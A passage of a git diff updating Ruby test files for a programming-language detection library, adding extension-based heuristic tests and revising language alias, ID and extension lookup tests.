       "ECLiPSe" => all_fixtures("ECLiPSe", "*.ecl")
     })
   end
-  
+
   def test_es_by_heuristics
     assert_heuristics({
       "Erlang" => all_fixtures("Erlang", "*.es"),
@@ -91,11 +420,26 @@ def test_es_by_heuristics
     })
   end
 
+  def test_ex_by_heuristics
+    assert_heuristics({
+      "Elixir" => all_fixtures("Elixir", "*.ex"),
+      "Euphoria" => all_fixtures("Euphoria", "*.ex")
+    })
+  end
+
   def test_f_by_heuristics
     assert_heuristics({
-      "FORTRAN" => all_fixtures("FORTRAN", "*.f") + all_fixtures("FORTRAN", "*.for"),
+      "Fortran" => all_fixtures("Fortran", "*.f") + all_fixtures("Fortran", "*.for"),
       "Forth" => all_fixtures("Forth", "*.f") + all_fixtures("Forth", "*.for")
-    })
+    }, alt_name="main.f")
+  end
+
+  def test_for_by_heuristics
+    assert_heuristics({
+      "Fortran" => all_fixtures("Fortran", "*.f") + all_fixtures("Fortran", "*.for"),
+      "Forth" => all_fixtures("Forth", "*.f") + all_fixtures("Forth", "*.for"),
+      nil => all_fixtures("Formatted", "*.for")
+    }, alt_name="main.for")
   end
 
   def test_fr_by_heuristics
@@ -106,6 +450,13 @@ def test_fr_by_heuristics
     })
   end
 
+  def test_frm_by_heuristics
+    assert_heuristics({
+      "VBA" => all_fixtures("VBA", "*.frm"),
+      "Visual Basic 6.0" => all_fixtures("Visual Basic 6.0", "*.frm"),
+    })
+  end
+
   def test_fs_by_heuristics
     assert_heuristics({
       "F#" => all_fixtures("F#", "*.fs"),
@@ -114,20 +465,155 @@ def test_fs_by_heuristics
     })
   end
 
-  # Candidate languages = ["Hack", "PHP"]
-  def test_hack_by_heuristics
+  def test_ftl_by_heuristics
     assert_heuristics({
-      "Hack" => all_fixtures("Hack", "*.php"),
-      "PHP" => all_fixtures("PHP", "*.php")
+      "Fluent" => all_fixtures("Fluent", "*.ftl"),
+      "FreeMarker" => all_fixtures("FreeMarker", "*.ftl")
+    }, alt_name="main.ftl")
+  end
+
+  def test_g_by_heuristics
+    assert_heuristics({
+      "GAP" => all_fixtures("GAP", "*.g*"),
+      "G-code" => all_fixtures("G-code", "*.g")
+    }, alt_name="test.g")
+  end
+
+  def test_gd_by_heuristics
+    assert_heuristics({
+      "GAP" => all_fixtures("GAP", "*.gd"),
+      "GDScript" => all_fixtures("GDScript", "*.gd")
+    })
+  end
+
+  def test_gml_by_heuristics
+      assert_heuristics({
+        "Game Maker Language" => all_fixtures("Game Maker Language", "*.gml"),
+        "Graph Modeling Language" => all_fixtures("Graph Modeling Language", "*.gml"),
+        "XML" => all_fixtures("XML", "*.gml")
+      })
+  end
+
+  def test_gs_by_heuristics
+    ambiguous = [
+      "#{samples_path}/Genie/Class.gs",
+      "#{samples_path}/Genie/Hello.gs",
+    ]
+    assert_heuristics({
+      "GLSL" => all_fixtures("GLSL", "*.gs"),
+      "Genie" => all_fixtures("Genie", "*.gs") - ambiguous,
+      "Gosu" => all_fixtures("Gosu", "*.gs"),
+    })
+    assert_heuristics({
+      nil => all_fixtures("JavaScript")
+    }, alt_name="test.gs")
+  end
+
+  def test_gsc_by_heuristics
+    assert_heuristics({
+      "GSC" => all_fixtures("GSC", "*.gsc")
+    })
+  end
+
+  def test_gsh_by_heuristics
+    assert_heuristics({
+      "GSC" => all_fixtures("GSC", "*.gsh")
+    })
+  end
+
+  def test_gts_by_heuristics
+    assert_heuristics({
+      "Gerber Image" => all_fixtures("Gerber Image", "*.gts"),
+      "Glimmer TS" => all_fixtures("Glimmer TS", "*.gts"),
+    })
+  end
+
+  def test_h_by_heuristics
+    assert_heuristics({
+      "Objective-C" => all_fixtures("Objective-C", "*.h"),
+      "C++" => all_fixtures("C++", "*.h"),
+      # Default to C if the content is ambiguous
+      "C" => all_fixtures("C", "*.h")
+    })
+  end
+
+  def test_hh_by_heuristics
+    assert_heuristics({
+      "Hack" => all_fixtures("Hack", "*.hh"),
+      nil => all_fixtures("C++", "*.hh")
+    })
+  end
+
+  def test_html_by_heuristics
+    assert_heuristics({
+      "Ecmarkup" => all_fixtures("Ecmarkup", "*.html"),
+      "HTML" => all_fixtures("HTML", "*.html")
+    })
+  end
+
+  def test_i_by_heuristics
+    assert_heuristics({
+      "Motorola 68K Assembly" => all_fixtures("Motorola 68K Assembly", "*.i"),
+      "SWIG" => all_fixtures("SWIG", "*.i"),
+      # No heuristic defined for Assembly
+      nil => all_fixtures("Assembly", "*.i")
+    })
+  end
+
+  def test_ice_by_heuristics
+    assert_heuristics({
+      "Slice" => all_fixtures("Slice", "*.ice"),
+      "JSON" => all_fixtures("JSON", "*.ice")
     })
   end
 
   def test_inc_by_heuristics
     assert_heuristics({
-      "PHP" => all_fixtures("PHP", "*.inc")
+      "Motorola 68K Assembly" => all_fixtures("Motorola 68K Assembly", "*"),
+      "NASL" => all_fixtures("NASL", "*"),
+      "Pascal" => all_fixtures("Pascal", "*"),
+      "PHP" => all_fixtures("PHP", "*"),
+      "POV-Ray SDL" => all_fixtures("POV-Ray SDL", "*"),
+      "SourcePawn" => all_fixtures("SourcePawn", "*.inc"),
+      nil => all_fixtures("Assembly", "*") +
+        all_fixtures("C++", "*.inc") +
+        all_fixtures("HTML", "*") +
+        all_fixtures("Pawn", "*") +
+        all_fixtures("SQL", "*")
+    }, alt_name="foo.inc")
+  end
+
+  def test_json_by_heuristics
+    assert_heuristics({
+      "OASv2-json" => all_fixtures("OASv2-json", "*.json"),
+      "OASv3-json" => all_fixtures("OASv3-json", "*.json"),
+      "JSON" => all_fixtures("JSON", "*.json"),
+    })
+  end
+
+  def test_l_by_heuristics
+    assert_heuristics({
+      "Common Lisp" => all_fixtures("Common Lisp", "*.l"),
+      "Lex" => all_fixtures("Lex", "*.l"),
+      "Roff" => all_fixtures("Roff", "*.l"),
+      "PicoLisp" => all_fixtures("PicoLisp", "*.l")
     })
   end
 
+  def test_lean_by_heuristics
+    assert_heuristics({
+      "Lean" => all_fixtures("Lean", "*.lean"),
+      "Lean 4" => all_fixtures("Lean 4", "*.lean")
+    })
+  end
+
+  def test_lisp_by_heuristics
+    assert_heuristics({
+      "Common Lisp" => all_fixtures("Common Lisp", "*.lisp") + all_fixtures("Common Lisp", "*.lsp"),
+      "NewLisp" => all_fixtures("NewLisp", "*.lisp") + all_fixtures("NewLisp", "*.lsp")
+    }, "main.lisp")
+  end
+
   def test_ls_by_heuristics
     assert_heuristics({
       "LiveScript" => all_fixtures("LiveScript", "*.ls"),
@@ -137,49 +623,219 @@ def test_ls_by_heuristics
 
   def test_lsp_by_heuristics
     assert_heuristics({
-      "Common Lisp" => all_fixtures("Common Lisp", "*.lsp") + all_fixtures("Common Lisp", "*.lisp"),
-      "NewLisp" => all_fixtures("NewLisp", "*.lsp") + all_fixtures("NewLisp", "*.lisp")
+      "Common Lisp" => all_fixtures("Common Lisp", "*.lisp") + all_fixtures("Common Lisp", "*.lsp"),
+      "NewLisp" => all_fixtures("NewLisp", "*.lisp") + all_fixtures("NewLisp", "*.lsp")
+    }, "main.lsp")
+  end
+
+  def test_m4_by_heuristics
+    assert_heuristics({
+      "M4" => all_fixtures("M4", "*.m4"),
+      "M4Sugar" => all_fixtures("M4Sugar", "*.m4")
     })
   end
 
-  # Candidate languages = ["C++", "Objective-C"]
-  def test_obj_c_by_heuristics
-    # Only calling out '.h' filenames as these are the ones causing issues
+  def test_m_by_heuristics
+    ambiguous = all_fixtures("Objective-C", "cocoa_monitor.m")
     assert_heuristics({
-      "Objective-C" => all_fixtures("Objective-C", "*.h"),
-      "C++" => ["C++/scanner.h", "C++/protocol-buffer.pb.h", "C++/v8.h", "C++/gdsdbreader.h"],
-      "C" => nil
+      "Objective-C" => all_fixtures("Objective-C", "*.m") - ambiguous,
+      "Mercury" => all_fixtures("Mercury", "*.m"),
+      "MUF" => all_fixtures("MUF", "*.m"),
+      "M" => all_fixtures("M", "MDB.m"),
+      "Mathematica" => all_fixtures("Mathematica", "*.m") - all_fixtures("Mathematica", "Problem12.m"),
+      "MATLAB" => all_fixtures("MATLAB", "create_ieee_paper_plots.m"),
+      "Limbo" => all_fixtures("Limbo", "*.m"),
+      nil => ambiguous
     })
   end
 
-  # Candidate languages = ["Perl", "Perl6", "Prolog"]
-  def test_pl_prolog_perl_by_heuristics
+  def test_man_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" => all_fixtures("Roff")
+    }, alt_name="man.man")
+  end
+
+  def test_mask_by_heuristics
+    assert_heuristics({
+      "Unity3D Asset" => all_fixtures("Unity3D Asset", "*.mask")
+    })
+  end
+
+  def test_mc_by_heuristics
+    assert_heuristics({
+      "Monkey C" => all_fixtures("Monkey C", "*.mc"),
+      "Win32 Message File" => all_fixtures("Win32 Message File", "*.mc")
+    })
+  end
+
+  def test_md_by_heuristics
+    assert_heuristics({
+      "Markdown" => all_fixtures("Markdown", "*.md"),
+      "GCC Machine Description" => all_fixtures("GCC Machine Description", "*.md")
+    })
+  end
+
+  def test_mdoc_by_heuristics
+    assert_heuristics({
+      "Roff Manpage" => all_fixtures("Roff Manpage"),
+      "Roff" =>  all_fixtures("Roff")
+    }, alt_name="man.mdoc")
+  end
+
+  def test_ml_by_heuristics
+    ambiguous = [
+      "#{samples_path}/OCaml/date.ml",
+      "#{samples_path}/OCaml/common.ml",
+      "#{samples_path}/OCaml/sigset.ml",
+      "#{samples_path}/Standard ML/Foo.sig",
+    ]
+    assert_heuristics({
+      "OCaml" => all_fixtures("OCaml") - ambiguous,
+      "Standard ML" => all_fixtures("Standard ML") - ambiguous,
+      nil => ambiguous
+    }, "test.ml")
+  end
+
+  def test_mod_by_heuristics
+    assert_heuristics({
+      "Modula-2" => all_fixtures("Modula-2", "*.mod"),
+      "NMODL" => all_fixtures("NMODL", "*.mod"),
+      "XML" => all_fixtures("XML", "*.mod"),
+      ["Linux Kernel Module", "AMPL"] => all_fixtures("Linux Kernel Module", "*.mod"),
+      ["Linux Kernel Module", "AMPL"] => all_fixtures("AMPL", "*.mod"),
+    })
+  end
+
+  def test_mojo_by_heuristics
+    assert_heuristics({
+      "Mojo" => all_fixtures("Mojo", "*.mojo"),
+      "XML" => all_fixtures("XML", "*.mojo"),
+    })
+  end
+
+  def test_ms_by_heuristics
+    assert_heuristics({
+      "Roff" => all_fixtures("Roff", "*.ms"),
+      "Unix Assembly" => all_fixtures("Unix Assembly", "*.ms"),
+      "MAXScript" => all_fixtures("MAXScript", "*.ms")
+    })
+  end
+
+  def test_n_by_heuristics
+    assert_heuristics({
+      "Roff" => all_fixtures("Roff", "*.n"),
+      "Nemerle" => all_fixtures("Nemerle", "*.n")
+    })
+  end
+
+  def test_ncl_by_heuristics
+    assert_heuristics({
+      "Gerber Image" => all_fixtures("Gerber Image", "*"),
+      "XML" => all_fixtures("XML", "*.ncl"),
+      "Text" => all_fixtures("Text", "*.ncl"),
+      # Missing heuristic for NCL
+      nil => all_fixtures("NCL", "*.ncl")
+    }, alt_name="test.ncl")
+  end
+
+  def test_nl_by_heuristics
+    assert_heuristics({
+      "NewLisp" => all_fixtures("NewLisp", "*.nl"),
+      "NL" => all_fixtures("NL", "*.nl")
+    })
+  end
+
+  def test_nr_by_heuristics
+    assert_heuristics({
+      "Noir" => all_fixtures("Noir", "*.nr"),
+      "Roff" => all_fixtures("Roff", "*.nr")
+    })
+  end
+
+  def test_nu_by_heuristics
+    assert_heuristics({
+      "Nushell" => all_fixtures("Nushell", "*.nu"),
+      "Nu" => all_fixtures("Nu", "*.nu")
+    })
+  end
+
+  def test_odin_by_heuristics
+    assert_heuristics({
+      "Object Data Instance Notation" => all_fixtures("Object Data Instance Notation", "*.odin"),
+      "Odin" => all_fixtures("Odin", "*.odin")
+    })
+  end
+
+  def test_p_by_heuristics
+    assert_heuristics({
+      "Gnuplot" => all_fixtures("Gnuplot"),
+      "OpenEdge ABL" => all_fixtures("OpenEdge ABL")
+    }, alt_name="test.p")
+  end
+
+  def test_php_by_heuristics
+    assert_heuristics({
+      "Hack" => all_fixtures("Hack", "*.php"),
+      "PHP" => all_fixtures("PHP", "*.php")
+    })
+  end
+
+  def test_pkl_by_heuristics
+    assert_heuristics({
+      "Pkl" => all_fixtures("Pkl", "*.pkl"),
+      "Pickle" => all_fixtures("Pickle", "*.pkl")
+    })
+  end
+
+  def test_pl_by_heuristics
     assert_heuristics({
       "Prolog" => all_fixtures("Prolog", "*.pl"),
       "Perl" => ["Perl/oo1.pl", "Perl/oo2.pl", "Perl/oo3.pl", "Perl/fib.pl", "Perl/use5.pl"],
-      "Perl6" => all_fixtures("Perl6", "*.pl")
+      "Raku" => all_fixtures("Raku", "*.pl")
     })
   end
 
-  # Candidate languages = ["Perl", "Perl6"]
-  def test_pm_perl_by_heuristics
+  def test_plist_by_heuristics
     assert_heuristics({
-      "Perl" => all_fixtures("Perl", "*.pm"),
-      "Perl6" => all_fixtures("Perl6", "*.pm")
+      "OpenStep Property List" => all_fixtures("OpenStep Property List", "*.plist"),
+      "XML Property List" => all_fixtures("XML Property List", "*.plist")
     })
   end
 
-  # Candidate languages = ["Pod", "Perl"]
+  def test_plt_by_heuristics
+    assert_heuristics({
+      "Prolog" => all_fixtures("Prolog", "*.plt"),
+      # Gnuplot lacks a heuristic
+      nil => all_fixtures("Gnuplot", "*.plt")
+    })
+  end
+
+  def test_pm_by_heuristics
+    assert_heuristics({
+      "Perl" => all_fixtures("Perl", "*.pm"),
+      "Raku" => all_fixtures("Raku", "*.pm"),
+      "X PixMap" => all_fixtures("X PixMap")
+    }, "test.pm")
+  end
+
   def test_pod_by_heuristics
     assert_heuristics({
-      "Perl" => all_fixtures("Perl", "*.pod"),
-      "Pod" => all_fixtures("Pod", "*.pod")
+      "Pod" => all_fixtures("Pod", "*.pod"),
+      "Pod 6" => all_fixtures("Pod 6", "*.pod")
+    })
+  end
+
+  def test_pp_by_heuristics
+    assert_heuristics({
+      "Pascal" => all_fixtures("Pascal", "*.pp"),
+      "Puppet" => all_fixtures("Puppet", "*.pp") - ["#{samples_path}/Puppet/stages-example.pp", "#{samples_path}/Puppet/hiera_include.pp"]
     })
   end
 
-  # Candidate languages = ["IDL", "Prolog", "QMake", "INI"]
   def test_pro_by_heuristics
     assert_heuristics({
+      "Proguard" => all_fixtures("Proguard", "*.pro"),
       "Prolog" => all_fixtures("Prolog", "*.pro"),
       "IDL" => all_fixtures("IDL", "*.pro"),
       "INI" => all_fixtures("INI", "*.pro"),
@@ -187,6 +843,27 @@ def test_pro_by_heuristics
     })
   end
 
+  def test_properties_by_heuristics
+    assert_heuristics({
+      "INI" => all_fixtures("INI", "*.properties"),
+      "Java Properties" => all_fixtures("Java Properties", "*.properties")
+    })
+  end
+
+  def test_q_by_heuristics
+    assert_heuristics({
+      "q" => all_fixtures("q", "*.q"),
+      "HiveQL" => all_fixtures("HiveQL", "*.q")
+    })
+  end
+
+  def test_qs_by_heuristics
+    assert_heuristics({
+      "Q#" => all_fixtures("Q#", "*.qs"),
+      "Qt Script" => all_fixtures("Qt Script", "*.qs")
+    })
+  end
+
   def test_r_by_heuristics
     assert_heuristics({
       "R" => all_fixtures("R", "*.r") + all_fixtures("R", "*.R"),
@@ -194,15 +871,77 @@ def test_r_by_heuristics
     })
   end
 
-  # Candidate languages = ["Scala", "SuperCollider"]
-  def test_sc_supercollider_scala_by_heuristics
+  def test_re_by_heuristics
+    assert_heuristics({
+      "C++" => all_fixtures("C++", "*.re"),
+      "Reason" => all_fixtures("Reason", "*.re")
+    })
+  end
+
+  def test_res_by_heuristics
+    assert_heuristics({
+      "ReScript" => all_fixtures("ReScript", "*.res"),
+      nil => all_fixtures("XML", "*.res")
+    })
+  end
+
+  def test_resource_by_heuristics
+    assert_heuristics({
+      "RobotFramework" => all_fixtures("RobotFramework", "*.resource")
+    })
+  end
+
+  def test_rno_by_heuristics
+    assert_heuristics({
+      "RUNOFF" => all_fixtures("RUNOFF", "*.rno"),
+      "Roff" => all_fixtures("Roff", "*.rno")
+    })
+  end
+
+  def test_rpy_by_heuristics
+    assert_heuristics({
+      "Python" => all_fixtures("Python", "*.rpy"),
+      "Ren'Py" => all_fixtures("Ren'Py", "*.rpy")
+    })
+  end
+
+  def test_rs_by_heuristics
+    assert_heuristics({
+      "Rust" => all_fixtures("Rust", "*.rs"),
+      "RenderScript" => all_fixtures("RenderScript", "*.rs")
+    })
+  end
+
+  def test_s_by_heuristics
+    assert_heuristics({
+      "Motorola 68K Assembly" => all_fixtures("Motorola 68K Assembly", "*.s"),
+      # Unix Assembly lacks a heuristic
+      nil => all_fixtures("Unix Assembly", "*.s")
+    })
+  end
+
+  def test_sc_by_heuristics
     assert_heuristics({
       "SuperCollider" => all_fixtures("SuperCollider", "*.sc"),
       "Scala" => all_fixtures("Scala", "*.sc")
     })
   end
 
-  # Candidate languages = ["SQL", "PLpgSQL", "SQLPL", "PLSQL"]
+  def test_scd_by_heuristics
+    assert_heuristics({
+      "SuperCollider" => all_fixtures("SuperCollider", "*"),
+      "Markdown" => all_fixtures("Markdown", "*.scd")
+    }, alt_name="test.scd")
+  end
+
+  def test_sol_by_heuristics
+    assert_heuristics({
+      "Gerber Image" => Dir.glob("#{fixtures_path}/Generic/sol/Gerber Image/*"),
+      "Solidity" => Dir.glob("#{fixtures_path}/Generic/sol/Solidity/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/sol/nil/*")
+    })
+  end
+
   def test_sql_by_heuristics
     assert_heuristics({
       "SQL" => ["SQL/create_stuff.sql", "SQL/db.sql", "SQL/dual.sql"],
@@ -212,13 +951,68 @@ def test_sql_by_heuristics
     })
   end
 
-  # Candidate languages = ["Perl", "Perl6"]
-  def test_t_perl_by_heuristics
+  def test_srt_by_heuristics
+    assert_heuristics({
+      "SubRip Text" => all_fixtures("SubRip Text", "*.srt")
+    })
+  end
+
+  def test_st_by_heuristics
     assert_heuristics({
+      "StringTemplate" => all_fixtures("StringTemplate", "*.st"),
+      "Smalltalk" => all_fixtures("Smalltalk", "*.st")
+    })
+  end
+
+  def test_star_by_heuristics
+    assert_heuristics({
+      "STAR" => all_fixtures("STAR", "*.star"),
+      "Starlark" => all_fixtures("Starlark", "*.star")
+    })
+  end
+
+  def test_stl_by_heuristics
+    assert_heuristics({
+      "STL" => Dir.glob("#{fixtures_path}/Generic/stl/STL/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/stl/nil/*")
+    })
+  end
+
+  def test_sw_by_heuristics
+    assert_heuristics({
+      "Sway" => all_fixtures("Sway", "*.sw"),
+      "XML" => all_fixtures("XML", "*.sw")
+    })
+  end
+
+  def test_t_by_heuristics
+    # Turing not fully covered.
+    assert_heuristics({
+      "Turing" => all_fixtures("Turing", "*.t"),
       "Perl" => all_fixtures("Perl", "*.t"),
-      "Perl6" => ["Perl6/01-dash-uppercase-i.t", "Perl6/01-parse.t", "Perl6/advent2009-day16.t",
-                  "Perl6/basic-open.t", "Perl6/calendar.t", "Perl6/for.t", "Perl6/hash.t",
-                  "Perl6/listquote-whitespace.t"]
+      "Raku" => ["Raku/01-dash-uppercase-i.t", "Raku/01-parse.t", "Raku/advent2009-day16.t",
+                 "Raku/basic-open.t", "Raku/calendar.t", "Raku/for.t", "Raku/hash.t",
+                 "Raku/listquote-whitespace.t"]
+    })
+  end
+
+  def test_tag_by_heuristics
+    assert_heuristics({
+      "Java Server Pages" => Dir.glob("#{fixtures_path}/Generic/tag/Java Server Pages/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/tag/nil/*")
+    })
+  end
+
+  def test_tlv_by_heuristics
+    assert_heuristics({
+      "TL-Verilog" => all_fixtures("TL-Verilog", "*.tlv"),
+    })
+  end
+
+  def test_toc_by_heuristics
+    assert_heuristics({
+      "TeX" => all_fixtures("TeX", "*.toc"),
+      "World of Warcraft Addon Data" => all_fixtures("World of Warcraft Addon Data", "*.toc")
     })
   end
 
@@ -228,4 +1022,103 @@ def test_ts_by_heuristics
       "XML" => all_fixtures("XML", "*.ts")
     })
   end
+
+  def test_tst_by_heuristics
+    assert_heuristics({
+      "GAP" => all_fixtures("GAP", "*.tst"),
+      "Scilab" => all_fixtures("Scilab", "*.tst")
+    })
+  end
+
+  def test_tsx_by_heuristics
+    assert_heuristics({
+      "TSX" => all_fixtures("TSX", "*.tsx"),
+      "XML" => all_fixtures("XML", "*.tsx")
+    })
+  end
+
+  def test_txt_by_heuristics
+    assert_heuristics({
+      "Adblock Filter List" => all_fixtures("Adblock Filter List", "*.txt"),
+      "Vim Help File" => all_fixtures("Vim Help File", "*.txt"),
+      "Text" => all_fixtures("Text", "*.txt")
+    })
+  end
+
+  def test_typ_by_heuristics
+    assert_heuristics({
+      "Typst" => all_fixtures("Typst", "*.typ"),
+      "XML" => all_fixtures("XML", "*.typ")
+    })
+  end
+
+  def test_url_by_heuristics
+    assert_heuristics({
+      "INI" => Dir.glob("#{fixtures_path}/Generic/url/INI/*"),
+      nil => Dir.glob("#{fixtures_path}/Generic/url/nil/*")
+    })
+  end
+
+  def test_v_by_heuristics
+    assert_heuristics({
+      "Coq" => all_fixtures("Coq", "*.v"),
+      "V" => all_fixtures("V", "*.v"),
+      "Verilog" => all_fixtures("Verilog", "*.v")
+    })
+  end
+
+  def test_vba_by_heuristics
+    assert_heuristics({
+      "VBA" => all_fixtures("VBA", "*.vba"),
+      "Vim Script" => all_fixtures("Vim Script", "*.vba")
+    })
+  end
+
+  def test_vcf_by_heuristics
+    assert_heuristics({
+      "TSV" => all_fixtures("TSV", "*.vcf"),
+      "vCard" => all_fixtures("vCard", "*.vcf")
+    })
+  end
+
+  def test_w_by_heuristics
+    assert_heuristics({
+      "CWeb" => all_fixtures("CWeb", "*.w"),
+      "OpenEdge ABL" => all_fixtures("OpenEdge ABL", "*.w")
+    })
+  end
+
+  def test_x_by_heuristics
+    # Logos not fully covered
+    assert_heuristics({
+      "DirectX 3D File" => all_fixtures("DirectX 3D File", "*.x"),
+      "Linker Script" => all_fixtures("Linker Script", "*.x"),
+      "RPC" => all_fixtures("RPC", "*.x")
+    })
+  end
+
+  def test_yaml_by_heuristics
+    assert_heuristics({
+      "MiniYAML" => all_fixtures("MiniYAML", "*.yaml"),
+      "OASv2-yaml" => all_fixtures("OASv2-yaml", "*.yaml"),
+      "OASv3-yaml" => all_fixtures("OASv3-yaml", "*.yaml"),
+      "YAML" => all_fixtures("YAML", "*.yaml"),
+    })
+  end
+
+  def test_yml_by_heuristics
+    assert_heuristics({
+      "MiniYAML" => all_fixtures("MiniYAML", "*.yml"),
+      "OASv2-yaml" => all_fixtures("OASv2-yaml", "*.yml"),
+      "OASv3-yaml" => all_fixtures("OASv3-yaml", "*.yml"),
+      "YAML" => all_fixtures("YAML", "*.yml"),
+    })
+  end
+
+  def test_yy_by_heuristics
+    assert_heuristics({
+      "JSON" => all_fixtures("JSON", "*.yy"),
+      "Yacc" => all_fixtures("Yacc", "*.yy")
+    })
+  end
 end
diff --git a/test/test_language.rb b/test/test_language.rb
index 5613f235b9..0f781beeb0 100644
--- a/test/test_language.rb
+++ b/test/test_language.rb
@@ -4,9 +4,8 @@ class TestLanguage < Minitest::Test
   include Linguist
 
   def test_find_by_alias
-    assert_equal Language['ASP'], Language.find_by_alias('asp')
-    assert_equal Language['ASP'], Language.find_by_alias('aspx')
-    assert_equal Language['ASP'], Language.find_by_alias('aspx-vb')
+    assert_equal Language['ASP.NET'], Language.find_by_alias('aspx')
+    assert_equal Language['ASP.NET'], Language.find_by_alias('aspx-vb')
     assert_equal Language['ActionScript'], Language.find_by_alias('as3')
     assert_equal Language['ApacheConf'], Language.find_by_alias('apache')
     assert_equal Language['Assembly'], Language.find_by_alias('nasm')
@@ -17,6 +16,7 @@ def test_find_by_alias
     assert_equal Language['C++'], Language.find_by_alias('c++')
     assert_equal Language['C++'], Language.find_by_alias('cpp')
     assert_equal Language['Chapel'], Language.find_by_alias('chpl')
+    assert_equal Language['Classic ASP'], Language.find_by_alias('asp')
     assert_equal Language['CoffeeScript'], Language.find_by_alias('coffee')
     assert_equal Language['CoffeeScript'], Language.find_by_alias('coffee-script')
     assert_equal Language['ColdFusion'], Language.find_by_alias('cfm')
@@ -24,6 +24,7 @@ def test_find_by_alias
     assert_equal Language['Common Lisp'], Language.find_by_alias('lisp')
     assert_equal Language['Darcs Patch'], Language.find_by_alias('dpatch')
     assert_equal Language['Dart'], Language.find_by_alias('dart')
+    assert_equal Language['EdgeQL'], Language.find_by_alias('esdl')
     assert_equal Language['Emacs Lisp'], Language.find_by_alias('elisp')
     assert_equal Language['Emacs Lisp'], Language.find_by_alias('emacs')
     assert_equal Language['Emacs Lisp'], Language.find_by_alias('emacs-lisp')
@@ -60,13 +61,31 @@ def test_find_by_alias
     assert_equal Language['SuperCollider'], Language.find_by_alias('supercollider')
     assert_equal Language['TeX'], Language.find_by_alias('tex')
     assert_equal Language['TypeScript'], Language.find_by_alias('ts')
-    assert_equal Language['VimL'], Language.find_by_alias('vim')
-    assert_equal Language['VimL'], Language.find_by_alias('viml')
+    assert_equal Language['Vim Script'], Language.find_by_alias('vim')
+    assert_equal Language['Vim Script'], Language.find_by_alias('viml')
     assert_equal Language['reStructuredText'], Language.find_by_alias('rst')
+    assert_equal Language['X BitMap'], Language.find_by_alias('xbm')
+    assert_equal Language['X PixMap'], Language.find_by_alias('xpm')
     assert_equal Language['YAML'], Language.find_by_alias('yml')
     assert_nil Language.find_by_alias(nil)
   end
 
+  # Note these are set by `script/update-ids`. If these tests fail then someone
+  # has changed the `language_id` fields set in languages.yml which is almost certainly
+  # not what you want to happen (these fields are used in GitHub's search indexes)
+  def test_language_ids
+    assert_equal 4, Language['ANTLR'].language_id
+    assert_equal 54, Language['Ceylon'].language_id
+    assert_equal 326, Language['Ruby'].language_id
+    assert_equal 421, Language['xBase'].language_id
+  end
+
+  def test_find_by_id
+    assert_equal Language['Elixir'], Language.find_by_id(100)
+    assert_equal Language['Ruby'], Language.find_by_id(326)
+    assert_equal Language['xBase'], Language.find_by_id(421)
+  end
+
   def test_groups
     # Test a couple identity cases
     assert_equal Language['Perl'], Language['Perl'].group
@@ -74,11 +93,10 @@ def test_groups
     assert_equal Language['Ruby'], Language['Ruby'].group
 
     # Test a few special groups
-    assert_equal Language['Assembly'], Language['GAS'].group
+    assert_equal Language['Assembly'], Language['Unix Assembly'].group
     assert_equal Language['C'], Language['OpenCL'].group
     assert_equal Language['Haskell'], Language['Literate Haskell'].group
     assert_equal Language['Java'], Language['Java Server Pages'].group
-    assert_equal Language['Python'], Language['Cython'].group
     assert_equal Language['Python'], Language['NumPy'].group
     assert_equal Language['Shell'], Language['Gentoo Ebuild'].group
     assert_equal Language['Shell'], Language['Gentoo Eclass'].group
@@ -90,39 +108,6 @@ def test_groups
     end
   end
 
-  # Used for code search indexing. Changing any of these values may
-  # require reindexing repositories.
-  def test_search_term
-    assert_equal 'perl',        Language['Perl'].search_term
-    assert_equal 'python',      Language['Python'].search_term
-    assert_equal 'ruby',        Language['Ruby'].search_term
-    assert_equal 'common-lisp', Language['Common Lisp'].search_term
-    assert_equal 'html+erb',    Language['HTML+ERB'].search_term
-    assert_equal 'max/msp',     Language['Max'].search_term
-    assert_equal 'puppet',      Language['Puppet'].search_term
-    assert_equal 'pure-data',   Language['Pure Data'].search_term
-
-    assert_equal 'aspx-vb',       Language['ASP'].search_term
-    assert_equal 'as3',           Language['ActionScript'].search_term
-    assert_equal 'nasm',          Language['Assembly'].search_term
-    assert_equal 'bat',           Language['Batchfile'].search_term
-    assert_equal 'csharp',        Language['C#'].search_term
-    assert_equal 'cpp',           Language['C++'].search_term
-    assert_equal 'cfm',           Language['ColdFusion'].search_term
-    assert_equal 'dpatch',        Language['Darcs Patch'].search_term
-    assert_equal 'fsharp',        Language['F#'].search_term
-    assert_equal 'pot',           Language['Gettext Catalog'].search_term
-    assert_equal 'irc',           Language['IRC log'].search_term
-    assert_equal 'lhs',           Language['Literate Haskell'].search_term
-    assert_equal 'mirah',         Language['Mirah'].search_term
-    assert_equal 'raw',           Language['Raw token data'].search_term
-    assert_equal 'bash',          Language['Shell'].search_term
-    assert_equal 'vim',           Language['VimL'].search_term
-    assert_equal 'jsp',           Language['Java Server Pages'].search_term
-    assert_equal 'rst',           Language['reStructuredText'].search_term
-    assert_equal 'supercollider', Language['SuperCollider'].search_term
-  end
-
   def test_popular
     assert Language['Ruby'].popular?
     assert Language['Perl'].popular?
@@ -157,12 +142,6 @@ def test_prose
     assert_equal :prose, Language['Org'].type
   end
 
-  def test_searchable
-    assert Language['Ruby'].searchable?
-    assert !Language['Gettext Catalog'].searchable?
-    assert Language['SQL'].searchable?
-  end
-
   def test_find_by_name
     assert_nil Language.find_by_name(nil)
     ruby = Language['Ruby']
@@ -187,10 +166,16 @@ def test_find_all_by_alias
 
   def test_find_by_extension
     assert_equal [], Language.find_by_extension('.factor-rc')
-    assert_equal [], Language.find_by_extension('foo.rb')
-    assert_equal [Language['Ruby']], Language.find_by_extension('rb')
-    assert_equal [Language['Ruby']], Language.find_by_extension('.rb')
-    assert_equal [Language['Limbo'], Language['M'], Language['MUF'], Language['Mathematica'], Language['Matlab'], Language['Mercury'], Language['Objective-C']], Language.find_by_extension('.m')
+    assert_equal [Language['Limbo'], Language['M'], Language['MATLAB'], Language['MUF'], Language['Mathematica'], Language['Mercury'], Language['Objective-C']], Language.find_by_extension('foo.m')
+    assert_equal [Language['Ruby']], Language.find_by_extension('foo.rb')
+    assert_equal [Language['Ruby']], Language.find_by_extension('foo/bar.rb')
+    assert_equal [Language['Ruby']], Language.find_by_extension('PKGBUILD.rb')
+    assert_equal ['C', 'C++', 'Objective-C'], Language.find_by_extension('foo.h').map(&:name).sort
+    assert_equal [], Language.find_by_extension('rb')
